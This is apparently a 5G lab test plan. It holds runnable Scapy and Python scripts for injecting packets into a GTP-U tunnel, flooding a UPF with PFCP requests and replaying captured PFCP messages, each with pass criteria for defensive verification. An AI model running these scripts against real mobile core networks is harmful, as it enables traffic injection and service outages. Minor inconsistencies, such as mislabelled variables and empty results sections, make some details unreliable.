TP-04_gtp_userplane

TP-04 — GTP & User Plane Security Tests

Domain: GTP-U Tunnel Security and PFCP
Standards: 3GPP TS 33.501 §5.10 · GSMA FS.40 v3.0 §5.7 · CVE-2024-51179 · CVE-2025-14953
Prerequisites: TP-00 complete; 5G SA lab running; active PDU session (TC-REG-01 passed)


TC-GTP-01: GTP-U Tunnel Injection (N3 Interface)

Threat Model

sequenceDiagram
    participant UE as UE (10.45.0.2)
    participant GNB as gNB (172.23.0.50)
    participant ATK as Attacker (172.23.1.99)
    participant UPF as UPF (172.23.0.30)
    participant DN as Data Network (Internet)

    Note over ATK,DN: THREAT VECTOR: Attacker on N3 segment injects packets\ninto active GTP-U tunnel using known TEID

    Note over GNB,UPF: Legitimate GTP-U session established
    GNB->>UPF: GTP-U Header: TEID=0xABCD1234\nInner IP: UE→8.8.8.8 (ICMP)
    UPF->>DN: Forward decapsulated packet

    Note over ATK: Attacker sniffs TEID from N3 traffic
    ATK->>ATK: Craft GTP-U packet with valid TEID=0xABCD1234\nSRC: 172.23.1.99 (not gNB)

    ATK->>UPF: GTP-U Header: TEID=0xABCD1234\nSRC: 172.23.1.99\nInner: Malicious payload

    UPF->>UPF: Check PDR: TEID matches\nBut source IP ≠ gNB IP (172.23.0.50)

    alt UPF validates source IP (secure)
        UPF-->>ATK: DROP — source IP mismatch
        Note over ATK: ✅ BLOCKED\nSource IP PDR rule enforced
    else UPF only checks TEID (vulnerable)
        UPF->>DN: Forward malicious packet
        Note over ATK: ❌ INJECTION SUCCESSFUL\nAttacker can inject arbitrary traffic
    end

Objective

Verify UPF drops GTP-U packets from unauthorized source IPs even when TEID is valid.

Steps

# 1. Capture N3 traffic to find active TEID
sudo tshark -i br-$(docker network ls --filter name=ran -q) \
  -Y "gtp" -T fields \
  -e ip.src -e ip.dst \
  -e gtp.teid -e gtp.message_type \
  -c 20 2>/dev/null
# Note the TEID value from active session

# 2. Install Scapy if not present
pip3 install scapy

# 3. Craft GTP-U injection packet from rogue source IP
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.gtp import GTP_U_Header

# Replace with actual TEID from step 1
TEID = 0xABCD1234
UPF_IP = "172.23.0.30"
ROGUE_SRC = "172.23.1.99"  # not gNB

# Craft packet: rogue src -> UPF, GTP-U with valid TEID
pkt = (
    IP(src=ROGUE_SRC, dst=UPF_IP) /
    UDP(sport=2152, dport=2152) /
    GTP_U_Header(teid=TEID, gtp_type=255) /
    IP(src="10.45.0.99", dst="8.8.8.8") /
    ICMP()
)

print(f"Sending GTP-U injection packet:")
print(f"  Outer src: {ROGUE_SRC} -> {UPF_IP}")
print(f"  TEID: {hex(TEID)}")
print(f"  Inner src: 10.45.0.99 -> 8.8.8.8 (spoofed UE IP)")
send(pkt, verbose=1)
PYEOF

# 4. Monitor UPF to see if packet was forwarded or dropped
sleep 3
docker logs open5gs-upf 2>&1 | tail -20 | grep -E "drop|inject|unknown|TEID"

# 5. Listen on external interface for any forwarded packets
sudo tcpdump -i any -c 5 -n "icmp and src 10.45.0.99" &
sleep 5
# Should see ZERO packets — injection blocked

Expected Results

Finding

If injected packet forwarded to DN: HIGH FINDING — GTP-U TEID-only validation; source IP not enforced.

Pass Criteria

Zero injected packets reach the data network. UPF enforces source IP in PDR.


TC-GTP-02: GTP-C Message Flood (DoS on SMF — N4 PFCP)

Threat Model

graph TD
    ATK["Attacker\n(on N4 segment or UPF accessible)"]

    ATK -->|1000 PFCP Session Est. Requests/sec| UPF["UPF\nPFCP Handler\nPort 8805/UDP"]
    ATK -->|Malformed PFCP packets| UPF

    UPF -->|Valid sessions| SMF["SMF\nSession Manager"]
    UPF -->|Flood| RESOURCES{"UPF Resources"}

    RESOURCES -->|CPU saturated| IMPACT1["⚠️ Legitimate PDU sessions\nresponse timeout"]
    RESOURCES -->|Memory exhausted| IMPACT2["❌ UPF crash\nAll sessions dropped"]
    RESOURCES -->|Rate limited| SAFE["✅ Flood absorbed\nLegit sessions OK"]

    SMF -->|Monitors PFCP| ALERT["Prometheus Alert\nPFCP error rate spike"]

    subgraph CVE["CVE-2024-51179"]
        direction LR
        C1["Crafted PFCP packet\nwith malformed FAR-ID"] -->|Triggers| C2["Null ptr deref\nin UPF handler"]
        C2 --> C3["UPF process crash\n→ container restart"]
    end

    style IMPACT2 fill:#c0392b,color:#fff
    style SAFE fill:#27ae60,color:#fff
    style C3 fill:#c0392b,color:#fff

Objective

Test UPF/SMF resilience against a flood of PFCP Session Establishment Requests; verify active sessions survive.

Steps

# 1. Establish baseline — active session
docker exec ueransim-ue ping -i 0.2 -c 50 -I uesimtun0 8.8.8.8 &
PINGPID=$!

# 2. Record baseline restart counts
NRF_BEFORE=$(docker inspect --format '{{.State.RestartCount}}' open5gs-upf)

# 3. Generate PFCP flood using pycrate
python3 << 'PYEOF'
import socket
import time
from pycrate.core.utils import *

# PFCP Session Establishment Request — minimal valid structure
# PFCP header: version=1, FO=0, MP=0, S=0, message_type=50 (Session Est Req)
# Sequence number varies

UPF_IP = "172.23.0.30"
PFCP_PORT = 8805

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
count = 0
start = time.time()

while time.time() - start < 30:  # 30 second flood
    seq = count & 0xFFFFFF
    # Minimal PFCP Session Establishment Request header
    # Version=1, FO=0, MP=0, S=0, msg_type=50 (0x32), length=12
    pfcp_hdr = bytes([
        0x20,           # Version=1, FO=0, MP=0, S=0
        0x32,           # Message Type: Session Establishment Request
        0x00, 0x04,     # Length: 4 bytes
        (seq >> 16) & 0xFF, (seq >> 8) & 0xFF, seq & 0xFF, 0x00  # Seq + spare
    ])
    sock.sendto(pfcp_hdr, (UPF_IP, PFCP_PORT))
    count += 1
    if count % 100 == 0:
        print(f"Sent {count} PFCP packets...")
    time.sleep(0.001)  # 1000 pps

sock.close()
print(f"Flood complete: {count} packets in 30 seconds")
PYEOF

# 4. Check if active session survived
kill $PINGPID 2>/dev/null
docker exec ueransim-ue ping -c 3 -I uesimtun0 8.8.8.8 2>&1 | tail -3

# 5. Check restart count
NRF_AFTER=$(docker inspect --format '{{.State.RestartCount}}' open5gs-upf)
echo "UPF restarts: before=${NRF_BEFORE}, after=${NRF_AFTER}"
# Must be equal (no restarts)

# 6. Check SMF
docker logs open5gs-smf 2>&1 | tail -30 | grep -E "error|crash|reject"

Expected Results

Pass Criteria

No UPF restart during or after flood. Legitimate session maintained throughout.


TC-GTP-03: PFCP Session Modification Replay

Threat Model

sequenceDiagram
    participant SMF as SMF (legitimate)
    participant UPF as UPF
    participant ATK as Attacker (N4 eavesdropper)

    Note over ATK,UPF: THREAT VECTOR: Attacker captures PFCP Session Modification\nand replays to duplicate session changes

    SMF->>UPF: PFCP Session Modification Request\n{SeqNum=42, SEID=0x1234, QER: 10Mbps→100Mbps}
    Note over ATK: Attacker captures this message\nand stores for replay
    UPF-->>SMF: PFCP Session Modification Response\n{SeqNum=42, Cause=Success}

    Note over UPF: Session now at 100Mbps limit

    Note over ATK: Step 2: Replay same message later
    ATK->>UPF: PFCP Session Modification Request\n{SeqNum=42 — REPLAYED, same bytes}

    UPF->>UPF: Check SeqNum=42\nAlready processed for SEID=0x1234?

    alt UPF deduplicates by SeqNum (secure)
        UPF-->>ATK: PFCP Session Modification Response\n{Cause=Request rejected — duplicate SeqNum}
        Note over ATK: ✅ BLOCKED\nReplay rejected
    else UPF has no replay protection (vulnerable)
        UPF->>UPF: Apply QER change again\n(no-op if same value, but could be harmful)
        UPF-->>ATK: Response: Success
        Note over ATK: ⚠️ REPLAY ACCEPTED\nIf attacker crafted different QER,\ncould degrade/upgrade service
    end

Objective

Verify UPF/SMF reject replayed PFCP Session Modification Requests (duplicate sequence number detection).

Steps

# 1. Capture PFCP traffic during active session modification
sudo tshark -i br-$(docker network ls --filter name=ran -q) \
  -f "udp port 8805" \
  -w /tmp/pfcp-capture.pcap &
CAPID=$!

# 2. Trigger a legitimate PFCP session modification
# (Register UE, establish PDU session — SMF will send PFCP to UPF)
docker compose -f ~/open5gs-lab/5g/docker-compose.yml restart ue
sleep 15
kill $CAPID

# 3. Examine captured PFCP Session Modification Request
tshark -r /tmp/pfcp-capture.pcap \
  -Y "pfcp.msg_type == 52" \
  -T fields -e pfcp.seq_no -e pfcp.seid -e frame.len
# Note the SeqNum

# 4. Extract and replay the exact bytes
python3 << 'PYEOF'
import socket
from scapy.all import rdpcap, UDP

UPF_IP = "172.23.0.30"
PFCP_PORT = 8805

# Read captured PFCP packets
packets = rdpcap("/tmp/pfcp-capture.pcap")
pfcp_mod_pkts = [p for p in packets if UDP in p and p[UDP].dport == 8805]

if pfcp_mod_pkts:
    # Take the first PFCP packet and replay it
    pfcp_payload = bytes(pfcp_mod_pkts[0][UDP].payload)
    print(f"Replaying PFCP packet: {len(pfcp_payload)} bytes, SeqNum check...")

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5)
    sock.sendto(pfcp_payload, (UPF_IP, PFCP_PORT))

    try:
        response, addr = sock.recvfrom(4096)
        cause = response[9] if len(response) > 9 else 0
        print(f"UPF Response: cause byte = {hex(cause)}")
        # 0x40 = Success, 0x41 = Rejected
        if cause == 0x41:
            print("✅ BLOCKED: Replay rejected by UPF")
        else:
            print("⚠️  FINDING: Replay may have been accepted")
    except socket.timeout:
        print("No response (may indicate rejection)")
    finally:
        sock.close()
else:
    print("No PFCP modification packets captured")
PYEOF

# 5. Check UPF logs for replay handling
docker logs open5gs-upf 2>&1 | grep -E "duplicate|replay|SeqNum|reject" | tail -10

Expected Results

Pass Criteria

Replayed PFCP message rejected or ignored. No duplicate session modification applied.